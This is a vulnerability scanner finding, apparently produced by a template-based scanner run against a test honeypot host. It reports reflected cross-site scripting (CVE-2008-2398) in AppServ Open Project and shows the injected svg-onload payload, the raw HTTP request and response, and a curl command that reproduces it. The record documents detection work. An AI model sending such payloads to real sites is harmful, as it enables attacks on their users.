AppServ Open Project <=2.5.10 - Cross-Site Scripting (CVE-2008-2398) found on honey.scanme.sh

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Details: CVE-2008-2398 matched at honey.scanme.sh

Protocol: HTTP

Full URL: https://honey.scanme.sh/index.php?appservlang=%3Csvg%2Fonload=confirm%28%27xss%27%29%3E

Timestamp: Tue Apr 30 19:26:14 +0530 IST 2024

Template Information

Key	Value
Name	AppServ Open Project <=2.5.10 - Cross-Site Scripting
Authors	unstabl3
Tags	cve2008, cve, xss, appserv_open_project
Severity	medium
Description	AppServ Open Project 2.5.10 and earlier contains a cross-site scripting vulnerability in index.php which allows remote attackers to inject arbitrary web script or HTML via the appservlang parameter.
Remediation	Upgrade to a patched version of AppServ Open Project (>=2.5.11) or apply the necessary security patches provided by the vendor.
CVSS-Metrics	CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
CWE-ID	CWE-79
CVE-ID	CVE-2008-2398
CVSS-Score	4.30
vendor	appserv_open_project
product	appserv

Request

GET /index.php?appservlang=%3Csvg%2Fonload=confirm%28%27xss%27%29%3E HTTP/1.1
Host: honey.scanme.sh
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:123.0) Gecko/20100101 Firefox/123.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

Response

HTTP/1.1 200 OK
Connection: close
Content-Length: 264
Content-Type: text/html
Date: Tue, 30 Apr 2024 13:56:14 GMT

GET /index.php?appservlang=<svg/onload=confirm('xss')> HTTP/1.1
Host: honey.scanme.sh
Accept: */*
Accept-Encoding: gzip
Accept-Language: en
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:123.0) Gecko/20100101 Firefox/123.0

References:

• https://exchange.xforce.ibmcloud.com/vulnerabilities/42546
• http://securityreason.com/securityalert/3896
• https://nvd.nist.gov/vuln/detail/CVE-2008-2398

CURL command

curl -X 'GET' -H 'Accept: */*' -H 'Accept-Language: en' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:123.0) Gecko/20100101 Firefox/123.0' 'https://honey.scanme.sh/index.php?appservlang=%3Csvg%2Fonload=confirm%28%27xss%27%29%3E'

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